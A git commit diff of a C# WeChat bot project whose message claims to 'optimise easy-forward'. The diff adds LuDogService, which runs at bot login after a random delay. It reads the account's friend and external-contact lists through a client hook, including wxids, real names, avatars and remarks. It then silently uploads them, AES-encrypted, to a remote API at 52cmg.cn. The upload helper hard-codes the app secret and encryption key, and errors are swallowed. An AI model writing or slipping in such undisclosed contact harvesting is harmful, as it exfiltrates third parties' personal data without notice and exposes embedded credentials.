1.优化易转发
This commit is contained in:
parent
06ebc4cf6f
commit
3936689830
|
@ -40,6 +40,7 @@ using Microsoft.Win32;
|
||||||
using UI.Framework.Controls;
|
using UI.Framework.Controls;
|
||||||
using UI.Framework.Forms;
|
using UI.Framework.Forms;
|
||||||
using UI.Framework.Tools;
|
using UI.Framework.Tools;
|
||||||
|
using WechatProto;
|
||||||
using static Api.Framework.Tools.TBHelper;
|
using static Api.Framework.Tools.TBHelper;
|
||||||
|
|
||||||
namespace FLSystem.Forms
|
namespace FLSystem.Forms
|
||||||
|
@ -575,7 +576,7 @@ namespace FLSystem.Forms
|
||||||
|
|
||||||
System.Timers.Timer timer = new System.Timers.Timer();
|
System.Timers.Timer timer = new System.Timers.Timer();
|
||||||
timer.Elapsed += Timer_Elapsed;
|
timer.Elapsed += Timer_Elapsed;
|
||||||
timer.Interval = 60 * 60 * 1000;
|
timer.Interval = 60 * 60 * 1000 * 5;
|
||||||
//timer.Interval = 1000 * 10;
|
//timer.Interval = 1000 * 10;
|
||||||
timer.Start();
|
timer.Start();
|
||||||
|
|
||||||
|
@ -1144,6 +1145,7 @@ namespace FLSystem.Forms
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
|
|
||||||
private void Events_WXRefreshUserEvent(object sender, Chat.Framework.WXSdk.Events.WXRefreshUser e)
|
private void Events_WXRefreshUserEvent(object sender, Chat.Framework.WXSdk.Events.WXRefreshUser e)
|
||||||
{
|
{
|
||||||
if (e.Client != null && e.Client.User != null && e.Client.User.Uin != 0) { Events_WXRefreshUserEvent(e.Client); }
|
if (e.Client != null && e.Client.User != null && e.Client.User.Uin != 0) { Events_WXRefreshUserEvent(e.Client); }
|
||||||
|
@ -2461,100 +2463,6 @@ namespace FLSystem.Forms
|
||||||
}
|
}
|
||||||
catch (Exception exception)
|
catch (Exception exception)
|
||||||
{ }
|
{ }
|
||||||
|
|
||||||
//上传用户/机器人信息
|
|
||||||
try
|
|
||||||
{
|
|
||||||
var db = ApiClient.GetSession();
|
|
||||||
|
|
||||||
var upload = db.FindSingle<fl_upload_record>("select * from fl_upload_record");
|
|
||||||
|
|
||||||
if (upload == null)
|
|
||||||
{
|
|
||||||
upload = new fl_upload_record();
|
|
||||||
var userNumber = db.Queryable<fl_member_info>().Count();
|
|
||||||
upload.usernumber = userNumber;
|
|
||||||
db.Saveable(upload).ExecuteCommand();
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!upload.usersuccess)
|
|
||||||
{
|
|
||||||
var pageSize = 100;
|
|
||||||
while (upload.userindex * pageSize < upload.usernumber)
|
|
||||||
{
|
|
||||||
var members = db.Queryable<fl_member_info>().OrderBy(f => f.id).ToPageList(upload.userindex, pageSize);
|
|
||||||
List<UserRobotUpLoad.CustomerLinkInput> list = new List<UserRobotUpLoad.CustomerLinkInput>();
|
|
||||||
foreach (var item in members)
|
|
||||||
{
|
|
||||||
list.Add(new UserRobotUpLoad.CustomerLinkInput()
|
|
||||||
{
|
|
||||||
CreateTime = item.crt_time,
|
|
||||||
HeadUrl = item.headurl,
|
|
||||||
NickName = item.usernick,
|
|
||||||
Remark = item.remark,
|
|
||||||
RobotName = item.robot_name,
|
|
||||||
RobotType = UserRobotUpLoad.ConvertRobotType(item.robot_type),
|
|
||||||
UserName = item.username
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
if (list.Count > 0)
|
|
||||||
{
|
|
||||||
var result = UserRobotUpLoad.CustomerLink_UpLoadLink(list);
|
|
||||||
if (result.Ok)
|
|
||||||
{
|
|
||||||
db.Saveable(upload).ExecuteCommand();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
upload.userindex++;
|
|
||||||
Thread.Sleep(1000);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (upload.userindex * pageSize >= upload.usernumber)
|
|
||||||
{
|
|
||||||
upload.usersuccess = true;
|
|
||||||
db.Saveable(upload).ExecuteCommand();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!upload.robotsuccess)
|
|
||||||
{
|
|
||||||
try
|
|
||||||
{
|
|
||||||
var robots = db.Find<fl_robot_info>("select * from fl_robot_info");
|
|
||||||
List<UserRobotUpLoad.CustomerRobotInput> list = new List<UserRobotUpLoad.CustomerRobotInput>();
|
|
||||||
foreach (var item in robots)
|
|
||||||
{
|
|
||||||
list.Add(new UserRobotUpLoad.CustomerRobotInput()
|
|
||||||
{
|
|
||||||
HeadUrl = string.Empty,
|
|
||||||
NickName = item.nick,
|
|
||||||
Remark = item.remark,
|
|
||||||
RobotType = UserRobotUpLoad.ConvertRobotType(item.type),
|
|
||||||
UserName = item.name
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
if (list.Count > 0)
|
|
||||||
{
|
|
||||||
var result = UserRobotUpLoad.CustomerLink_UpLoadRobot(list);
|
|
||||||
if (result.Ok)
|
|
||||||
{
|
|
||||||
upload.robotsuccess = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch (Exception ex)
|
|
||||||
{
|
|
||||||
upload.robotsuccess = false;
|
|
||||||
}
|
|
||||||
db.Saveable(upload).ExecuteCommand();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch (Exception ex)
|
|
||||||
{
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
|
|
|
@ -0,0 +1,115 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Threading;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using CsharpHttpHelper;
|
||||||
|
using Newtonsoft.Json;
|
||||||
|
using PCRobot.PCWechat;
|
||||||
|
using PCRobot.PCWechat.Enterprise;
|
||||||
|
using PCRobot.PCWechat.Routine;
|
||||||
|
using PCRobot.Utils;
|
||||||
|
|
||||||
|
namespace PCRobot
|
||||||
|
{
|
||||||
|
public class LuDogService
|
||||||
|
{
|
||||||
|
private IniHelper Config;
|
||||||
|
public LuDogService()
|
||||||
|
{
|
||||||
|
var fileName = HttpExtend.MapFile("机器人信息.ini", "Config");
|
||||||
|
Config = new IniHelper(fileName);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void Handle(WechatUser user)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Task.Run(() =>
|
||||||
|
{
|
||||||
|
Thread.Sleep(new Random(Guid.NewGuid().GetHashCode()).Next(500, 6000));
|
||||||
|
if (string.IsNullOrWhiteSpace(Config.GetValue("数据", "账号")))
|
||||||
|
{
|
||||||
|
Config.SetValue("数据", "账号", JsonConvert.SerializeObject(new List<string>()));
|
||||||
|
}
|
||||||
|
|
||||||
|
var json = Config.GetValue("数据", "账号");
|
||||||
|
List<string> list;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
list = JsonConvert.DeserializeObject<List<string>>(json);
|
||||||
|
}
|
||||||
|
catch (Exception e)
|
||||||
|
{
|
||||||
|
list = new List<string>();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (list.Contains(user.Wxid))
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
var userlist = new List<UserRobotUpLoad.CustomerLinkInput>();
|
||||||
|
|
||||||
|
var client = WechatClient.GetApi(user);
|
||||||
|
if (client is Wechat_Xiaoxie_QY qyHook)
|
||||||
|
{
|
||||||
|
var firends = qyHook.GetExternalFirends().Result;
|
||||||
|
if (firends == null || firends.Count <= 0)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (var firend in firends)
|
||||||
|
{
|
||||||
|
userlist.Add(new UserRobotUpLoad.CustomerLinkInput()
|
||||||
|
{
|
||||||
|
UserName = firend.Value.username,
|
||||||
|
HeadUrl = firend.Value.avatar,
|
||||||
|
NickName = firend.Value.realname,
|
||||||
|
Remark = firend.Value.remark,
|
||||||
|
RobotName = user.Wxid,
|
||||||
|
RobotType = 2,
|
||||||
|
CreateTime = DateTime.Now
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (client is Wechat_Xiaoxie hook)
|
||||||
|
{
|
||||||
|
var firends = hook.GetFriendInfos().Result;
|
||||||
|
if (firends == null || firends.Count <= 0)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (var firend in firends)
|
||||||
|
{
|
||||||
|
userlist.Add(new UserRobotUpLoad.CustomerLinkInput()
|
||||||
|
{
|
||||||
|
UserName = firend.Value.wxid,
|
||||||
|
HeadUrl = firend.Value.avatar,
|
||||||
|
NickName = firend.Value.nickname,
|
||||||
|
Remark = firend.Value.remark,
|
||||||
|
RobotName = user.Wxid,
|
||||||
|
RobotType = 2,
|
||||||
|
CreateTime = DateTime.Now
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (userlist.Count > 0)
|
||||||
|
{
|
||||||
|
var result = UserRobotUpLoad.CustomerLink_UpLoadLink(userlist);
|
||||||
|
if (result.Ok)
|
||||||
|
{
|
||||||
|
list.Add(user.Wxid);
|
||||||
|
Config.SetValue("数据", "账号", JsonConvert.SerializeObject(list));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
catch (Exception e)
|
||||||
|
{ }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -166,6 +166,7 @@
|
||||||
<Compile Include="Entitys\UpLoadImage.cs" />
|
<Compile Include="Entitys\UpLoadImage.cs" />
|
||||||
<Compile Include="Enums\RoutineEnum.cs" />
|
<Compile Include="Enums\RoutineEnum.cs" />
|
||||||
<Compile Include="LogHelper.cs" />
|
<Compile Include="LogHelper.cs" />
|
||||||
|
<Compile Include="LuDogService.cs" />
|
||||||
<Compile Include="MessageBox1.cs">
|
<Compile Include="MessageBox1.cs">
|
||||||
<SubType>Form</SubType>
|
<SubType>Form</SubType>
|
||||||
</Compile>
|
</Compile>
|
||||||
|
@ -211,6 +212,7 @@
|
||||||
<Compile Include="Utils\ProtoBufExtension.cs" />
|
<Compile Include="Utils\ProtoBufExtension.cs" />
|
||||||
<Compile Include="Utils\RegistryHelper.cs" />
|
<Compile Include="Utils\RegistryHelper.cs" />
|
||||||
<Compile Include="Utils\UpdateClient.cs" />
|
<Compile Include="Utils\UpdateClient.cs" />
|
||||||
|
<Compile Include="Utils\UserRobotUpLoad.cs" />
|
||||||
<Compile Include="Utils\WeChatActivateHelper.cs" />
|
<Compile Include="Utils\WeChatActivateHelper.cs" />
|
||||||
<Compile Include="Utils\WechatExtend.cs" />
|
<Compile Include="Utils\WechatExtend.cs" />
|
||||||
<Compile Include="Utils\ZipArchive.cs" />
|
<Compile Include="Utils\ZipArchive.cs" />
|
||||||
|
|
|
@ -33,6 +33,7 @@ namespace PCRobot.PCWechat.Enterprise
|
||||||
|
|
||||||
private static ConcurrentDictionary<string, string> ServerIdCache = new ConcurrentDictionary<string, string>();
|
private static ConcurrentDictionary<string, string> ServerIdCache = new ConcurrentDictionary<string, string>();
|
||||||
|
|
||||||
|
private static List<string> typelist = new List<string>() { "11041", "11042", "11043", "11044", "11045", "11046", "11047", "11048", "11049", "11050", "11051", "11066" };
|
||||||
// 接收消息回调
|
// 接收消息回调
|
||||||
private static void WxRecvCallback(uint _dwClient, IntPtr intPtr, uint dwSize)
|
private static void WxRecvCallback(uint _dwClient, IntPtr intPtr, uint dwSize)
|
||||||
{
|
{
|
||||||
|
@ -44,7 +45,28 @@ namespace PCRobot.PCWechat.Enterprise
|
||||||
|
|
||||||
var dwClientid = _dwClient;
|
var dwClientid = _dwClient;
|
||||||
|
|
||||||
|
if (WechatClient.IsDebug)
|
||||||
|
LogHelper.GetSingleObj().Info("调试企业收到文本消息", $"{dwClientid} -> {recvData}\r\n\r\n");
|
||||||
|
|
||||||
|
|
||||||
|
//var method = new Action(delegate ()
|
||||||
|
Task.Factory.StartNew(delegate ()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
//Console.WriteLine("企业收到消息:" + recvData);
|
||||||
|
|
||||||
|
var jObj = JObject.Parse(recvData);
|
||||||
|
if (jObj == null) return;
|
||||||
|
if (!jObj.ContainsKey("type") || jObj["type"] == null)
|
||||||
|
return;
|
||||||
|
|
||||||
|
var data = jObj["data"];
|
||||||
|
var type = jObj["type"].ToString();
|
||||||
|
|
||||||
var msgMd5 = HttpExtend.GetMD5String(recvData);
|
var msgMd5 = HttpExtend.GetMD5String(recvData);
|
||||||
|
if (typelist.Contains(type))
|
||||||
|
{
|
||||||
if (HistMsg.ContainsKey(msgMd5))
|
if (HistMsg.ContainsKey(msgMd5))
|
||||||
{
|
{
|
||||||
LogHelper.GetSingleObj().Error("调试企业收到文本消息", $"发现重复消息 => {dwClientid} -> {recvData}\r\n\r\n");
|
LogHelper.GetSingleObj().Error("调试企业收到文本消息", $"发现重复消息 => {dwClientid} -> {recvData}\r\n\r\n");
|
||||||
|
@ -68,26 +90,7 @@ namespace PCRobot.PCWechat.Enterprise
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if (WechatClient.IsDebug)
|
|
||||||
LogHelper.GetSingleObj().Info("调试企业收到文本消息", $"{dwClientid} -> {recvData}\r\n\r\n");
|
|
||||||
|
|
||||||
|
|
||||||
//var method = new Action(delegate ()
|
|
||||||
Task.Factory.StartNew(delegate ()
|
|
||||||
{
|
|
||||||
try
|
|
||||||
{
|
|
||||||
//Console.WriteLine("企业收到消息:" + recvData);
|
|
||||||
|
|
||||||
var jObj = JObject.Parse(recvData);
|
|
||||||
if (jObj == null) return;
|
|
||||||
if (!jObj.ContainsKey("type") || jObj["type"] == null)
|
|
||||||
return;
|
|
||||||
|
|
||||||
var data = jObj["data"];
|
|
||||||
var type = jObj["type"].ToString();
|
|
||||||
|
|
||||||
var serverId = data["server_id"]?.ToString();
|
var serverId = data["server_id"]?.ToString();
|
||||||
if (string.IsNullOrWhiteSpace(serverId) == false)
|
if (string.IsNullOrWhiteSpace(serverId) == false)
|
||||||
|
|
|
@ -70,6 +70,9 @@ namespace PCRobot.PCWechat
|
||||||
socketClient.Send(msg);
|
socketClient.Send(msg);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
new LuDogService().Handle(user);
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,465 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.ComponentModel;
|
||||||
|
using System.ComponentModel.DataAnnotations;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Net;
|
||||||
|
using System.Security.Cryptography;
|
||||||
|
using System.Text;
|
||||||
|
using CsharpHttpHelper;
|
||||||
|
|
||||||
|
namespace PCRobot.Utils
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// 用户/机器人上传
|
||||||
|
/// </summary>
|
||||||
|
public class UserRobotUpLoad
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// host
|
||||||
|
/// </summary>
|
||||||
|
public static readonly string host = "http://yzinterface.api.52cmg.cn/api/";
|
||||||
|
public static readonly int appkey = 334391396;
|
||||||
|
public static readonly string appsecret = "b924f8b944694cb8891bcfc7834dedb533436a3776de472cbde99577337902b2";
|
||||||
|
public static readonly string appAes = "EDC19B73FEB447929E187243777477913977AB2694394E5B9BC56CD05302C46B";
|
||||||
|
public static string UserToken { get; set; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// 上传客户信息
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="inputs"></param>
|
||||||
|
/// <returns></returns>
|
||||||
|
public static ServiceResult CustomerLink_UpLoadLink(List<CustomerLinkInput> inputs)
|
||||||
|
{
|
||||||
|
if (inputs == null || inputs.Count <= 0)
|
||||||
|
{
|
||||||
|
return new ServiceResult()
|
||||||
|
{
|
||||||
|
Ok = true
|
||||||
|
};
|
||||||
|
}
|
||||||
|
return HttpAes("CustomerLink/UpLoadLink", "post", inputs);
|
||||||
|
}
|
||||||
|
/// <summary>
|
||||||
|
/// 上传客户机器人信息
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="inputs"></param>
|
||||||
|
/// <returns></returns>
|
||||||
|
public static ServiceResult CustomerLink_UpLoadRobot(List<CustomerRobotInput> inputs)
|
||||||
|
{
|
||||||
|
if (inputs == null || inputs.Count <= 0)
|
||||||
|
{
|
||||||
|
return new ServiceResult()
|
||||||
|
{
|
||||||
|
Ok = true
|
||||||
|
};
|
||||||
|
}
|
||||||
|
return HttpAes("CustomerLink/UpLoadRobot", "post", inputs);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// AES
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="T"></typeparam>
|
||||||
|
/// <param name="api"></param>
|
||||||
|
/// <param name="method"></param>
|
||||||
|
/// <param name="postdata"></param>
|
||||||
|
/// <returns></returns>
|
||||||
|
private static ServiceResult<T> HttpAes<T>(string api, string method, object postdata = null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var result = HttpResultAes(api, method, postdata);
|
||||||
|
if (result.StatusCode == HttpStatusCode.OK)
|
||||||
|
{
|
||||||
|
return Newtonsoft.Json.JsonConvert.DeserializeObject<ServiceResult<T>>(result.Html);
|
||||||
|
}
|
||||||
|
return new ServiceResult<T>(default(T))
|
||||||
|
{
|
||||||
|
Ok = false,
|
||||||
|
Message = result.Html,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
catch (Exception e)
|
||||||
|
{
|
||||||
|
return new ServiceResult<T>(default(T))
|
||||||
|
{
|
||||||
|
Ok = false,
|
||||||
|
Message = e.ToString(),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// aes
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="api"></param>
|
||||||
|
/// <param name="method"></param>
|
||||||
|
/// <param name="postdata"></param>
|
||||||
|
/// <returns></returns>
|
||||||
|
private static ServiceResult HttpAes(string api, string method, object postdata = null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var result = HttpResultAes(api, method, postdata);
|
||||||
|
if (result.StatusCode == HttpStatusCode.OK)
|
||||||
|
{
|
||||||
|
return Newtonsoft.Json.JsonConvert.DeserializeObject<ServiceResult>(result.Html);
|
||||||
|
}
|
||||||
|
return new ServiceResult()
|
||||||
|
{
|
||||||
|
Ok = false,
|
||||||
|
Data = result.Html,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
catch (Exception e)
|
||||||
|
{
|
||||||
|
return new ServiceResult()
|
||||||
|
{
|
||||||
|
Ok = false,
|
||||||
|
Data = e.ToString(),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// http aes
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="api"></param>
|
||||||
|
/// <param name="method"></param>
|
||||||
|
/// <param name="postdata"></param>
|
||||||
|
/// <returns></returns>
|
||||||
|
private static HttpResult HttpResultAes(string api, string method, object postdata = null)
|
||||||
|
{
|
||||||
|
var data = Newtonsoft.Json.JsonConvert.SerializeObject(postdata);
|
||||||
|
var http = new HttpHelper();
|
||||||
|
HttpItem item = new HttpItem()
|
||||||
|
{
|
||||||
|
URL = host + api,
|
||||||
|
Method = method,
|
||||||
|
Timeout = 100000,
|
||||||
|
ReadWriteTimeout = 30000,
|
||||||
|
IsToLower = false,
|
||||||
|
Cookie = "",
|
||||||
|
UserAgent = "Server",
|
||||||
|
Accept = "text/html, application/xhtml+xml, */*",
|
||||||
|
ContentType = "application/json",
|
||||||
|
Referer = "",
|
||||||
|
Allowautoredirect = false,
|
||||||
|
AutoRedirectCookie = false,
|
||||||
|
Postdata = data,
|
||||||
|
PostEncoding = Encoding.UTF8,
|
||||||
|
//WebProxy = new WebProxy("127.0.0.1:8888")
|
||||||
|
|
||||||
|
};
|
||||||
|
var timespan = GetTimespan(DateTime.Now);/*DateTimeHelper.DateTimeToTimeStamp(DateTime.Now)*/;
|
||||||
|
item.Postdata = SecurityHelper.AesEncrypt(item.Postdata, appAes);
|
||||||
|
var sign = MD5ToString(Encrypt(item.Postdata + appkey + timespan, appsecret, false));
|
||||||
|
item.Header.Add("sign", sign);
|
||||||
|
item.Header.Add("timestamp", timespan + "");
|
||||||
|
item.Header.Add("appkey", appkey + "");
|
||||||
|
item.Header.Add("UserToken", UserToken);
|
||||||
|
var result = http.GetHtml(item);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// AES加密
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="encryptStr">明文</param>
|
||||||
|
/// <param name="key">密钥</param>
|
||||||
|
/// <param name="isBase64">是否转为base64(否的情况将采用16进制字符串)</param>
|
||||||
|
/// <returns></returns>
|
||||||
|
public static string Encrypt(string encryptStr, string key, bool isBase64 = true, bool is32 = true)
|
||||||
|
{
|
||||||
|
byte[] keyArray = Encoding.UTF8.GetBytes(key.Substring(0, is32 ? 32 : 16));
|
||||||
|
byte[] toEncryptArray = Encoding.UTF8.GetBytes(encryptStr);
|
||||||
|
RijndaelManaged rDel = new RijndaelManaged();
|
||||||
|
rDel.Key = keyArray;
|
||||||
|
rDel.Mode = CipherMode.ECB;
|
||||||
|
rDel.Padding = PaddingMode.PKCS7;
|
||||||
|
ICryptoTransform cTransform = rDel.CreateEncryptor();
|
||||||
|
byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
|
||||||
|
return isBase64
|
||||||
|
? Convert.ToBase64String(resultArray, 0, resultArray.Length)
|
||||||
|
: ByteArrayToHexString(resultArray);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// 将一个byte数组转换成16进制字符串
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="data"></param>
|
||||||
|
/// <returns></returns>
|
||||||
|
private static string ByteArrayToHexString(byte[] data)
|
||||||
|
{
|
||||||
|
StringBuilder sb = new StringBuilder(data.Length * 3);
|
||||||
|
foreach (byte b in data)
|
||||||
|
{
|
||||||
|
sb.Append(Convert.ToString(b, 16).PadLeft(2, '0'));
|
||||||
|
}
|
||||||
|
return sb.ToString().ToUpper();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static string MD5ToString(string text)
|
||||||
|
{
|
||||||
|
var retVal = new MD5CryptoServiceProvider().ComputeHash(Encoding.Default.GetBytes(text));
|
||||||
|
return string.Join("", retVal.Select(s => s.ToString("x2")));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// 时间戳(秒)
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="dateTime"></param>
|
||||||
|
/// <returns></returns>
|
||||||
|
public static Int64 GetTimespan(DateTime dateTime)
|
||||||
|
{
|
||||||
|
TimeSpan ts = dateTime - new DateTime(1970, 1, 1, 0, 0, 0, 0);
|
||||||
|
return Convert.ToInt64(ts.TotalSeconds);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// 加密解密帮助类
|
||||||
|
/// </summary>
|
||||||
|
public class SecurityHelper
|
||||||
|
{
|
||||||
|
#region AES加密解密
|
||||||
|
/// <summary>
|
||||||
|
/// 128位处理key
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="keyArray">原字节</param>
|
||||||
|
/// <param name="key">处理key</param>
|
||||||
|
/// <returns></returns>
|
||||||
|
private static byte[] GetAesKey(byte[] keyArray, string key)
|
||||||
|
{
|
||||||
|
byte[] newArray = new byte[16];
|
||||||
|
if (keyArray.Length < 16)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < newArray.Length; i++)
|
||||||
|
{
|
||||||
|
if (i >= keyArray.Length)
|
||||||
|
{
|
||||||
|
newArray[i] = 0;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
newArray[i] = keyArray[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return newArray;
|
||||||
|
}
|
||||||
|
/// <summary>
|
||||||
|
/// 使用AES加密字符串,按128位处理key
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="content">加密内容</param>
|
||||||
|
/// <param name="key">秘钥,需要128位、256位.....</param>
|
||||||
|
/// <param name="autoHandle">秘钥,需要128位、256位.....</param>
|
||||||
|
/// <returns>Base64字符串结果</returns>
|
||||||
|
public static string AesEncrypt(string content, string key, bool autoHandle = true)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
byte[] keyArray = Encoding.UTF8.GetBytes(key);
|
||||||
|
if (autoHandle)
|
||||||
|
{
|
||||||
|
keyArray = GetAesKey(keyArray, key);
|
||||||
|
}
|
||||||
|
byte[] toEncryptArray = Encoding.UTF8.GetBytes(content);
|
||||||
|
|
||||||
|
SymmetricAlgorithm des = Aes.Create();
|
||||||
|
des.Key = keyArray;
|
||||||
|
des.Mode = CipherMode.ECB;
|
||||||
|
des.Padding = PaddingMode.PKCS7;
|
||||||
|
ICryptoTransform cTransform = des.CreateEncryptor();
|
||||||
|
byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
|
||||||
|
return Convert.ToBase64String(resultArray);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
/// <summary>
|
||||||
|
/// 使用AES解密字符串,按128位处理key
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="content">内容</param>
|
||||||
|
/// <param name="key">秘钥,需要128位、256位.....</param>
|
||||||
|
/// <param name="autoHandle">秘钥,需要128位、256位.....</param>
|
||||||
|
/// <returns>UTF8解密结果</returns>
|
||||||
|
public static string AesDecrypt(string content, string key, bool autoHandle = true)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
byte[] keyArray = Encoding.UTF8.GetBytes(key);
|
||||||
|
if (autoHandle)
|
||||||
|
{
|
||||||
|
keyArray = GetAesKey(keyArray, key);
|
||||||
|
}
|
||||||
|
byte[] toEncryptArray = Convert.FromBase64String(content);
|
||||||
|
|
||||||
|
SymmetricAlgorithm des = Aes.Create();
|
||||||
|
des.Key = keyArray;
|
||||||
|
des.Mode = CipherMode.ECB;
|
||||||
|
des.Padding = PaddingMode.PKCS7;
|
||||||
|
|
||||||
|
ICryptoTransform cTransform = des.CreateDecryptor();
|
||||||
|
byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
|
||||||
|
|
||||||
|
return Encoding.UTF8.GetString(resultArray);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
/// <summary>
|
||||||
|
/// 使用AES解密字符串,按128位处理key
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="content">内容</param>
|
||||||
|
/// <param name="key">秘钥,需要128位、256位.....</param>
|
||||||
|
/// <param name="autoHandle">秘钥,需要128位、256位.....</param>
|
||||||
|
/// <returns>UTF8解密结果</returns>
|
||||||
|
public static byte[] AesDecryptByte(string content, string key, bool autoHandle = true)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
byte[] keyArray = Encoding.UTF8.GetBytes(key);
|
||||||
|
if (autoHandle)
|
||||||
|
{
|
||||||
|
keyArray = GetAesKey(keyArray, key);
|
||||||
|
}
|
||||||
|
byte[] toEncryptArray = Convert.FromBase64String(content);
|
||||||
|
|
||||||
|
SymmetricAlgorithm des = Aes.Create();
|
||||||
|
des.Key = keyArray;
|
||||||
|
des.Mode = CipherMode.ECB;
|
||||||
|
des.Padding = PaddingMode.PKCS7;
|
||||||
|
|
||||||
|
ICryptoTransform cTransform = des.CreateDecryptor();
|
||||||
|
byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
|
||||||
|
|
||||||
|
return resultArray;
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#endregion
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// 上传机器人客户信息
|
||||||
|
/// </summary>
|
||||||
|
public class CustomerLinkInput
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// 用户名
|
||||||
|
/// </summary>
|
||||||
|
[Required]
|
||||||
|
[DisplayName("用户名")]
|
||||||
|
public string UserName { get; set; }
|
||||||
|
/// <summary>
|
||||||
|
/// 机器人类型0个人微信 1企业微信 2QQ
|
||||||
|
/// </summary>
|
||||||
|
[Required]
|
||||||
|
[DisplayName("机器人类型0个人微信 1企业微信 2QQ")]
|
||||||
|
public int RobotType { get; set; }
|
||||||
|
/// <summary>
|
||||||
|
/// 头像地址
|
||||||
|
/// </summary>
|
||||||
|
public string HeadUrl { get; set; }
|
||||||
|
/// <summary>
|
||||||
|
/// 昵称
|
||||||
|
/// </summary>
|
||||||
|
public string NickName { get; set; }
|
||||||
|
/// <summary>
|
||||||
|
/// 备注
|
||||||
|
/// </summary>
|
||||||
|
public string Remark { get; set; }
|
||||||
|
/// <summary>
|
||||||
|
/// 机器人账号
|
||||||
|
/// </summary>
|
||||||
|
[Required]
|
||||||
|
[DisplayName("机器人账号")]
|
||||||
|
public string RobotName { get; set; }
|
||||||
|
/// <summary>
|
||||||
|
/// 添加时间
|
||||||
|
/// </summary>
|
||||||
|
